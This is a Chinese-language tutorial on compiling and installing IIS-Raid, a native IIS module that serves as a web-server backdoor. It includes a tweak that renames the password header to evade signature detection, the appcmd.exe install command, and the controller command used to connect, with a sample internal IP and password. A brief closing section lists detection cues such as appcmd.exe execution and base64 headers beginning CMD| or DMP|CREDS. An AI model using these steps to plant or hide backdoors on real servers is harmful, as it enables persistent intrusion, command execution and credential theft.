文章前言
IIS Raid是本机的一个IIS模块,通过滥用IIS的可扩展性可以实现一个Web服务器后门并执行攻击者定义的自定义操作,本篇文章主要介绍IIS-Raid的构建和使用过程
测试环境
目标主机:Windows Server 2012 64位 Standard
目标版本:IIS 8.5
项目构建
Step 1:首下载项目源码到本地
https://github.com/0x09AL/IIS-Raid
Step 2:编辑/module/Functions.h文件并自定义密码字段,下面的SIMPLEPASS即为自定义的密码值,连接后门的时候在Http Header中定义,但是这里原版定义密码的HTTP头字段始终是一个值(X-Password),这无疑是一个典型的特征了,所以这里得实现自定义这个字段值,在以上定义代码中添加一个常量COM_PASSWD,如下代码:
Step 3:之后更改/module/HttpFactory.cpp 39行代码替换掉X-Password值为自定义的常量,如下代码所示:
Step 4:之后使用VS进行编译处理
Step 5:最终获得dll文件
后门部署
之后在命令行下使用appcmd.exe命令安装
代码语言:javascript复制#格式说明
C:Windowssystem32inetsrvAPPCMD.EXE install module /name:Module Name /image:"%windir%System32inetsrvIIS-Backdoor.dll" /add:true
#执行示例
C:Windowssystem32inetsrvAPPCMD.EXE install module /name:IIS_Backdoor /image:"%windir%System32inetsrvIIS-Backdoor.dll" /add:true
再次刷新模块可以看到IIS_backdoor
后门使用
首先修改项目中的iis_controller.py文件,添加个—headpass的命令行参数:
代码语言:javascript复制parser.add_argument('--headpass', type=str, default="X-Password", help="Header to user for password.")
之后把自定义的HTT头字段名加入到HttpHeader中
连接成功入后如下图所示:
代码语言:javascript复制python3 iis_controller.py --url http://192.168.17.190/ --headpass COM_PASSWD --password admin@liuwei
演示视频
防御措施
下面是检测通信流量或模块部署的一些方法:
- 检测命令行中appcmd.exe的执行
- 如果可以拦截到WEB服务器的流量,请检查是否有任何base64编码的标头数据以下列任何字符串开头
PIN|G
DMP|CREDS
CMD|
INJ|
参考链接
https://www.freebuf.com/sectool/231973.html
https://www.youtube.com/watch?v=jbxEWOXecuU
https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/